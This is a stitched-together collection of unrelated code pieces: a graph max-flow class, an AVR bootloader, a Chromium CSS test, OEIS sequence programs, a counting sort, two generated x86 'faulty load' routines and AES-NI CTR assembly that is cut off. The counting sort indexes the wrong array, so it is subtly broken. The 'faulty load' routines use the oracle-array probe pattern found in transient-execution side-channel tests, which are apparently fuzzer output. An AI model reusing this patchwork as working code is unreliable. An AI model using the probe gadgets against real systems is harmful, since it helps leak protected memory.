if(G.getEdgeResidualFlow(incident[u]) > 0){ return false; } } return true; } bool FordFulkerson::isMinimum(){ int source = G.getSource()-2; int sink = G.getSink()-2; if(G.getEdgeFlow(EdgeId(source,sink))>0) return false; return true; } void FordFulkerson::solve(){ std::vector<int> parent(G.getNumVertex(), -1); while(findPath(parent)){ augment(parent); } } const Graph& FordFulkerson::getResult(){ return G; }
; definition for serial protocol and piccodes.ini .equ FamilyAVR=0x31 ; AVR Family .equ IdTypeAVR=0x16 ; must exists in "piccodes.ini" ; don't modify - bwait and bwait2 instructions are hard-wired for ; these constants... (1/BAUD)*XTAL .equ XTAL = 8000000 ;XXX:.equ XTAL = 1000000 .equ BAUD = 9600 ; 8d ; original? ; 75,76,77 ; attiny861v-10su @ 8MHz ; 65.66,68,6e,70,71 ; attiny861v-10pu @ 1MHz (0x6c) .equ CALIB = 0x73 .include "tn861def.inc" #define MAX_FLASH 0x1000 #define EEPSZ 512 ; EEPROM Size(128/256/512) #define TXP 1 ; PIC TX Data port (1:A,2:B), Please refer to the table below #define TX 0 ; ATTINY13A RX Data input pin (i.e. 3 = TXP,3) #define RXP 1 ; PIC RX Data port (1:A,2:B), Please refer to the table below #define RX 7 ; ATTINY13A RX Data input pin (i.e. 3 = RXP,3) ; The above 14 lines can be changed and buid a bootloader for the desired frequency ; +---------+---------+--------+------------+------------+-----------+------+--------+------+ ; |AVRFamily|IdTypePIC| Device | Erase_Page | Write_Page | max_flash | PORT | EEPROM | PDIP | ; +---------+---------+--------+------------+------------+-----------+------+--------+------+ ; | 0x31 | 0x14 | TN261A | 16 words | 16 words | 0x0400 | A B | 128 | 20 | ; | 0x31 | 0x15 | TN461A | 32 words | 32 words | 0x0800 | A B | 256 | 20 | ; | 0x31 | 0x16 | TN861A | 32 words | 32 words | 0x1000 | A B | 512 | 20 | ; +---------+---------+--------+------------+------------+-----------+------+--------+------+ #if (TXP==1) #define TXPORT PORTA #define TXDDR DDRA #endif #if (TXP==2) #define TXPORT PORTB #define TXDDR DDRB #endif #if (RXP==1) #define RXPORT PINA #endif #if (RXP==2) #define RXPORT PINB #endif ;******************************************************************** ; Tiny Bootloader ATTINY261A/461A/861A Size=100words ; ; (2013.07.22 Revision 1) ; This program is only available in Tiny PIC Bootloader +. ; ; Tiny PIC Bootloader + ; https://sourceforge.net/projects/tinypicbootload/ ; ; !!!!! Set Fuse Bit SELFPRGEN=0,CKDIV8=1 and 8MHz Calibration value !!!!! ; ; Please add the following line to piccodes.ini ; ; $14, 1, ATTINY 24A/25/261A, $800, 128, 200, 32, ; $15, 1, ATTINY 44A/45/461A, $1000, 256, 200, 64, ; $16, 1, ATTINY 84A/85/861A, $2000, 512, 200, 64, ; ;******************************************************************** #define first_address MAX_FLASH-100 ; 100 word in size XXX: was 100 #define crc r20 #define cnt1 r21 #define flag r22 #define count r23 #define cn r24 #define rxd r25 .cseg ;0000000000000000000000000 RESET 00000000000000000000000000 .org 0x0000 ;;Reset vector ; RJMP IntrareBootloader .dw 0xcf9f ;RJMP PC-0x60 ;&&&&&&&&&&&&&&&&&&&&&&& START &&&&&&&&&&&&&&&&& ;---------------------- Bootloader ---------------------- ; ;PC_flash: C1h AddrH AddrL nr ...(DataLo DataHi)... crc ;PIC_response: id K K .org first_address ; nop ; nop ; nop ; nop .org first_address+4 IntrareBootloader: RCALL INITReceive ; wait for computer SUBI rxd,0xC1 ; Expect C1 BREQ PC+2 ; skip if C1 RJMP way_to_exit ; connection errer or timeout LDI rxd,IdTypeAVR ; send IdType RCALL rs1tx MainLoop: LDI rxd,FamilyAVR ; send ATtiny Family ID mainl: RCALL rs1tx CLR crc ; clear Checksum RCALL Receive ; get ADR_H MOV r31,rxd ; set r31 MOV flag,rxd ; set flag #if (EEPSZ == 512) OUT EEARH,rxd ; set EEARH #else NOP #endif RCALL Receive ; get ADR_L MOV r30,rxd ; set r30 OUT EEARL,rxd ; set EEARL LSL r30 ; set PCPAGE:PCWORD ROL r31 SBIW r30,2 ; PCPAGE:PCWORD=PCPAGE:PCWORD-2 RCALL Receive ; get count MOV count,rxd ; set count rcvoct: RCALL Receive ; get Data(L) MOV r0,rxd ; set Data(L) OUT EEDR,rxd ; set EEDR RCALL Receive ; get Data(H) MOV r1,rxd ; set Data(H) ADIW r30,2 ; PCPAGE:PCWORD=PCPAGE:PCWORD+2 LDI rxd,0x01 ; write buffer RCALL ctrl_flash SUBI count,2 ; count=count-2 BRNE rcvoct ; loop RCALL Receive ; get Checksum BRNE ziieroare ; Checksum error ? SBRC flag,6 ; is flash ? RJMP eeprom flash: LDI rxd,0x03 ; erase Flash Page RCALL ctrl_flash LDI rxd,0x05 ; write Flash Page RCALL ctrl_flash RJMP MainLoop ; loop eeprom: RCALL w_eeprom ; write EEPROM RJMP MainLoop ; loop ziieroare: LDI rxd,'N' ; send "N" RJMP mainl ; retry ; ******************************************************************** ; ; Write EEPROM ; ; Set EEARH:EEARL/EEDR and call ; ; ******************************************************************** w_eeprom: SBI EECR,EEMPE SBI EECR,EEPE RET ; ******************************************************************** ; ; Write and Erace flash/buffer ; ; Set R30:R31/R0:R1/rxd and call ; ; rxd:1 write buffer ; rxd:3 erase Flash Page ; rxd:5 write Flash Page ; ; ******************************************************************** ctrl_flash: OUT SPMCSR,rxd SPM RET ; ******************************************************************** ; ; RS-232C Send 1byte ; ; Set rxd and call ; ; ******************************************************************** rs1tx: LDI cn,1+8+1 ; 10-bit Data COM rxd ; Data inverce RJMP PC+5 ; Start bit LSR rxd ; shift right LSB to Carry [1] brcs PC+2 sbi TXPORT,TX ; set TX='1' if Carry='0' brcc PC+2 cbi TXPORT,TX ; set TX='0' if Carry='1' rcall bwait ; wait 1 bit [3+97 = 100] dec cn ; [1] brne PC-7 ; [2] XXX: 1+7+100+1+2=111 bwait: ; wait 1 bit rcall bwait2 ;XXX: [3+47+47=97] bwait2: ; wait 1/2bit push rxd ;2 ldi rxd,133 ;1 ;XXX: 13 for 1MHz subi rxd,1 ;1 brne PC-1 ;2/1 pop rxd ;2 ret ; [4] 2+1+(1+2)*13-1+2+4=47 ; ******************************************************************** ; ; INITReceive ; ; Set TX Port ; ; ******************************************************************** INITReceive: SBI TXPORT,TX SBI TXDDR,TX ; set TX Port LDI rxd,CALIB ; set 8MHz Calibration value OUT OSCCAL,rxd ; ******************************************************************** ; ; RS-232C Recieve 1byte with Timeout and Check Sum ; ; ******************************************************************** Receive: LDI cnt1,XTAL/500000+1 ; for 20MHz => 11 => 1second rpt2: CLR r28 CLR r29 rptc: ; check Start bit SBIC RXPORT,RX RJMP PC+4 RCALL r1rx11 ; get 1 byte ADD crc,rxd ; compute checksum RET SBIW r28,1 BRNE rptc DEC cnt1 BRNE rpt2 way_to_exit: RJMP first_address ; timeout:exit in all other cases ; ******************************************************************** ; ; RS-232C Recieve 1byte ; ; Return in rxd ; ; ******************************************************************** rs1rx: SBIC RXPORT,RX RJMP PC-1 ; wait Start bit r1rx11: RCALL bwait2 ; wait 1/2 bit LDI cn,9 ; 9-bit Data ROR rxd ; set Data [1] RCALL bwait ; wait 1 bit and set Carry=0 [826] SBIC RXPORT,RX SEC ; [1] DEC cn ; [1] BRNE PC-5 ; [2] 1+826+3+1+1+2=834 RET ; ******************************************************************** ; After reset ; Do not expect the memory to be zero, ; Do not expect registers to be initialised like in catalog.
// Copyright 2018 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "third_party/blink/renderer/core/css/css_property_value_set.h" #include "testing/gtest/include/gtest/gtest.h" #include "third_party/blink/renderer/core/css/parser/css_parser.h" #include "third_party/blink/renderer/core/css/parser/css_parser_context.h" #include "third_party/blink/renderer/core/css/style_rule.h" #include "third_party/blink/renderer/core/css/style_sheet_contents.h" #include "third_party/blink/renderer/core/testing/page_test_base.h" #include "third_party/blink/renderer/platform/heap/garbage_collected.h" namespace blink { class CSSPropertyValueSetTest : public PageTestBase { public: StyleRule* RuleAt(StyleSheetContents* sheet, wtf_size_t index) { return To<StyleRule>(sheet->ChildRules()[index].Get()); } }; TEST_F(CSSPropertyValueSetTest, MergeAndOverrideOnConflictCustomProperty) { auto* context = MakeGarbageCollected<CSSParserContext>(GetDocument()); auto* style_sheet = MakeGarbageCollected<StyleSheetContents>(context); String sheet_text = R"CSS( #first { color: red; --x:foo; --y:foo; } #second { color: green; --x:bar; --y:bar; } )CSS"; CSSParser::ParseSheet(context, style_sheet, sheet_text, CSSDeferPropertyParsing::kNo); StyleRule* rule0 = RuleAt(style_sheet, 0); StyleRule* rule1 = RuleAt(style_sheet, 1); MutableCSSPropertyValueSet& set0 = rule0->MutableProperties(); MutableCSSPropertyValueSet& set1 = rule1->MutableProperties(); EXPECT_EQ(3u, set0.PropertyCount()); EXPECT_EQ("red", set0.GetPropertyValue(CSSPropertyID::kColor)); EXPECT_EQ("foo", set0.GetPropertyValue(AtomicString("--x"))); EXPECT_EQ("foo", set0.GetPropertyValue(AtomicString("--y"))); EXPECT_EQ(3u, set1.PropertyCount()); EXPECT_EQ("green", set1.GetPropertyValue(CSSPropertyID::kColor)); EXPECT_EQ("bar", set1.GetPropertyValue(AtomicString("--x"))); EXPECT_EQ("bar", set1.GetPropertyValue(AtomicString("--y"))); set0.MergeAndOverrideOnConflict(&set1); EXPECT_EQ(3u, set0.PropertyCount()); EXPECT_EQ("green", set0.GetPropertyValue(CSSPropertyID::kColor)); EXPECT_EQ("bar", set0.GetPropertyValue(AtomicString("--x"))); EXPECT_EQ("bar", set0.GetPropertyValue(AtomicString("--y"))); EXPECT_EQ(3u, set1.PropertyCount()); EXPECT_EQ("green", set1.GetPropertyValue(CSSPropertyID::kColor)); EXPECT_EQ("bar", set1.GetPropertyValue(AtomicString("--x"))); EXPECT_EQ("bar", set1.GetPropertyValue(AtomicString("--y"))); } } // namespace blink
; A181718: a(n) = (1/9)*(10^(2*n) + 10^n - 2). ; 0,12,1122,111222,11112222,1111122222,111111222222,11111112222222,1111111122222222,111111111222222222,11111111112222222222,1111111111122222222222,111111111111222222222222,11111111111112222222222222,1111111111111122222222222222,111111111111111222222222222222,11111111111111112222222222222222,1111111111111111122222222222222222,111111111111111111222222222222222222,11111111111111111112222222222222222222,1111111111111111111122222222222222222222,111111111111111111111222222222222222222222 mov $1,10 pow $1,$0 add $1,1 bin $1,2 mul $1,2 div $1,9 mov $0,$1
#include <bits/stdc++.h> using namespace std; int main() { ios_base::sync_with_stdio(false); cin.tie(NULL); long long int n; cin >> n; int a[n]; int b[100] = {0}; for (int i = 0; i < n; i++) { cin >> a[i]; b[a[i]]++; } for (int i = 1; i <= 99; i++) { b[i] += b[i - 1]; } int c[n]; for (int i = n - 1; i >= 0; i--) { c[--c[a[i]]] = a[i]; } for (int i = 0; i < 100; i++) { cout << c[i] << " "; } return 0; }
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r14 push %r15 push %r8 push %rbp push %rbx push %rdi lea addresses_WC_ht+0x1a947, %r12 xor $3545, %rdi mov $0x6162636465666768, %rbx movq %rbx, %xmm2 and $0xffffffffffffffc0, %r12 vmovaps %ymm2, (%r12) nop nop nop nop and %r15, %r15 lea addresses_WC_ht+0x107d7, %rbx nop nop nop nop cmp %r14, %r14 mov (%rbx), %ebp dec %r12 lea addresses_WC_ht+0xc547, %r14 nop xor $40257, %r8 movl $0x61626364, (%r14) nop add %r14, %r14 lea addresses_D_ht+0x1607, %rdi nop nop nop nop nop xor %r8, %r8 movl $0x61626364, (%rdi) nop nop inc %r15 lea addresses_D_ht+0x8d07, %r12 nop nop nop nop cmp %r8, %r8 mov $0x6162636465666768, %rbx movq %rbx, (%r12) inc %rdi lea addresses_WT_ht+0x7c57, %rdi nop and %r15, %r15 mov $0x6162636465666768, %r12 movq %r12, (%rdi) add %r12, %r12 pop %rdi pop %rbx pop %rbp pop %r8 pop %r15 pop %r14 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r13 push %r14 push %rbp push %rbx push %rdi // Store lea addresses_normal+0x1f307, %r12 nop nop nop nop xor %r14, %r14 movb $0x51, (%r12) nop nop add $29973, %r13 // Faulty Load lea addresses_WT+0x1c547, %rdi nop nop nop and %rbp, %rbp mov (%rdi), %r14w lea oracles, %rbx and $0xff, %r14 shlq $12, %r14 mov (%rbx,%r14,1), %r14 pop %rdi pop %rbx pop %rbp pop %r14 pop %r13 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_WT', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_normal', 'AVXalign': False, 'size': 1}} [Faulty Load] {'src': {'NT': True, 'same': True, 'congruent': 0, 'type': 'addresses_WT', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_WC_ht', 'AVXalign': True, 'size': 32}} {'src': {'NT': False, 'same': True, 'congruent': 3, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 4}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 8}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 8}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r15 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_D_ht+0x1e3a8, %rsi lea addresses_WT_ht+0x1c128, %rdi nop nop and %r15, %r15 mov $22, %rcx rep movsb nop nop nop sub $22644, %r15 lea addresses_normal_ht+0x131ac, %r13 sub $52572, %rax mov (%r13), %ebp nop nop nop nop nop cmp %rbp, %rbp lea addresses_UC_ht+0x12ca8, %rsi nop nop nop nop xor $35678, %rdi mov $0x6162636465666768, %rax movq %rax, %xmm5 vmovups %ymm5, (%rsi) inc %r13 lea addresses_WT_ht+0x1c5a8, %rsi lea addresses_D_ht+0x20a7, %rdi nop nop cmp %r11, %r11 mov $56, %rcx rep movsq nop nop xor %r13, %r13 lea addresses_A_ht+0x3ba8, %rsi nop nop nop add $64941, %rdi mov $0x6162636465666768, %r13 movq %r13, %xmm1 vmovups %ymm1, (%rsi) nop nop xor %rdi, %rdi lea addresses_A_ht+0x159e8, %rsi lea addresses_A_ht+0x1ba8, %rdi sub %r13, %r13 mov $11, %rcx rep movsq nop nop nop xor %r11, %r11 pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r15 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r15 push %rdi // Faulty Load lea addresses_RW+0x8ba8, %r15 nop xor $23814, %r10 vmovups (%r15), %ymm2 vextracti128 $0, %ymm2, %xmm2 vpextrq $0, %xmm2, %r11 lea oracles, %r12 and $0xff, %r11 shlq $12, %r11 mov (%r12,%r11,1), %r11 pop %rdi pop %r15 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_RW', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_RW', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 11, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_WT_ht'}} {'src': {'NT': True, 'same': False, 'congruent': 1, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 32}} {'src': {'same': False, 'congruent': 5, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_D_ht'}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 32}} {'src': {'same': False, 'congruent': 4, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_A_ht'}} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
; A107283: E.g.f. exp(x)*(x^2+x+2)/(1-x). ; 2,5,16,59,254,1297,7820,54791,438394,3945629,39456392,434020435,5208245366,67707189929,947900659204,14218509888287,227496158212850,3867434689618741,69613824413137664,1322662663849615979,26453253276992319982,555518318816838720065,12221403013970451841916,281092269321320392364599,6746214463711689416750954,168655361592792235418774477,4385039401412598120888137080,118396063838140149263979701891,3315089787467924179391431653734,96137603836569801202351517959129,2884128115097094036070545538774772,89407971568009915118186911702018895 mov $1,34 sub $1,$0 mov $2,4 lpb $0 mul $2,$0 sub $0,1 add $1,$2 lpe sub $1,32 mov $0,$1
############################################################################### # Copyright 2018 Intel Corporation # All Rights Reserved. # # If this software was obtained under the Intel Simplified Software License, # the following terms apply: # # The source code, information and material ("Material") contained herein is # owned by Intel Corporation or its suppliers or licensors, and title to such # Material remains with Intel Corporation or its suppliers or licensors. The # Material contains proprietary information of Intel or its suppliers and # licensors. The Material is protected by worldwide copyright laws and treaty # provisions. No part of the Material may be used, copied, reproduced, # modified, published, uploaded, posted, transmitted, distributed or disclosed # in any way without Intel's prior express written permission. No license under # any patent, copyright or other intellectual property rights in the Material # is granted to or conferred upon you, either expressly, by implication, # inducement, estoppel or otherwise. Any license under such intellectual # property rights must be express and approved by Intel in writing. # # Unless otherwise agreed by Intel in writing, you may not remove or alter this # notice or any other notice embedded in Materials by Intel or Intel's # suppliers or licensors in any way. # # # If this software was obtained under the Apache License, Version 2.0 (the # "License"), the following terms apply: # # You may not use this file except in compliance with the License. You may # obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. ############################################################################### .section .note.GNU-stack,"",%progbits .text .p2align 6, 0x90 u128_str: .byte 15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0 .p2align 6, 0x90 .globl n0_EncryptCTR_RIJ128pipe_AES_NI .type n0_EncryptCTR_RIJ128pipe_AES_NI, @function n0_EncryptCTR_RIJ128pipe_AES_NI: push %rbx mov (16)(%rsp), %rax movdqu (%rax), %xmm8 movdqu (%r9), %xmm0 movdqa %xmm8, %xmm9 pandn %xmm0, %xmm9 movq (%r9), %rbx movq (8)(%r9), %rax bswap %rbx bswap %rax movslq %r8d, %r8 sub $(64), %r8 jl .Lshort_inputgas_1 .Lblks_loopgas_1: movdqa u128_str(%rip), %xmm4 pinsrq $(0), %rax, %xmm0 pinsrq $(1), %rbx, %xmm0 pshufb %xmm4, %xmm0 pand %xmm8, %xmm0 por %xmm9, %xmm0 add $(1), %rax adc $(0), %rbx pinsrq $(0), %rax, %xmm1 pinsrq $(1), %rbx, %xmm1 pshufb %xmm4, %xmm1 pand %xmm8, %xmm1 por %xmm9, %xmm1 add $(1), %rax adc $(0), %rbx pinsrq $(0), %rax, %xmm2 pinsrq $(1), %rbx, %xmm2 pshufb %xmm4, %xmm2 pand %xmm8, %xmm2 por %xmm9, %xmm2 add $(1), %rax adc $(0), %rbx pinsrq $(0), %rax, %xmm3 pinsrq $(1), %rbx, %xmm3 pshufb %xmm4, %xmm3 pand %xmm8, %xmm3 por %xmm9, %xmm3 movdqa (%rcx), %xmm4 mov %rcx, %r10 pxor %xmm4, %xmm0 pxor %xmm4, %xmm1 pxor %xmm4, %xmm2 pxor %xmm4, %xmm3 movdqa (16)(%r10), %xmm4 add $(16), %r10 mov %rdx, %r11 sub $(1), %r11 .Lcipher_loopgas_1: aesenc %xmm4, %xmm0 aesenc %xmm4, %xmm1 aesenc %xmm4, %xmm2 aesenc %xmm4, %xmm3 movdqa (16)(%r10), %xmm4 add $(16), %r10 dec %r11 jnz .Lcipher_loopgas_1 aesenclast %xmm4, %xmm0 aesenclast %xmm4, %xmm1 aesenclast %xmm4, %xmm2 aesenclast %xmm4, %xmm3 movdqu (%rdi), %xmm4 movdqu (16)(%rdi), %xmm5 movdqu (32)(%rdi), %xmm6 movdqu (48)(%rdi), %xmm7 add $(64), %rdi pxor %xmm4, %xmm0 movdqu %xmm0, (%rsi) pxor %xmm5, %xmm1 movdqu %xmm1, (16)(%rsi) pxor %xmm6, %xmm2 movdqu %xmm2, (32)(%rsi) pxor %xmm7, %xmm3 movdqu %xmm3, (48)(%rsi) add $(1), %rax adc $(0), %rbx add $(64), %rsi sub $(64), %r8 jge .Lblks_loopgas_1 .Lshort_inputgas_1: add $(64), %r8 jz .Lquitgas_1 lea (,%rdx,4), %r10 lea (-144)(%rcx,%r10,4), %r10 .Lsingle_blk_loopgas_1: pinsrq $(0), %rax, %xmm0 pinsrq $(1), %rbx, %xmm0 pshufb u128_str(%rip), %xmm0 pand %xmm8, %xmm0 por %xmm9, %xmm0 pxor (%rcx), %xmm0 cmp $(12), %rdx jl .Lkey_128_sgas_1 jz .Lkey_192_sgas_1 .Lkey_256_sgas_1: aesenc (-64)(%r10), %xmm0 aesenc (-48)(%r10), %xmm0 .Lkey_192_sgas_1: aesenc (-32)(%r10), %xmm0 aesenc 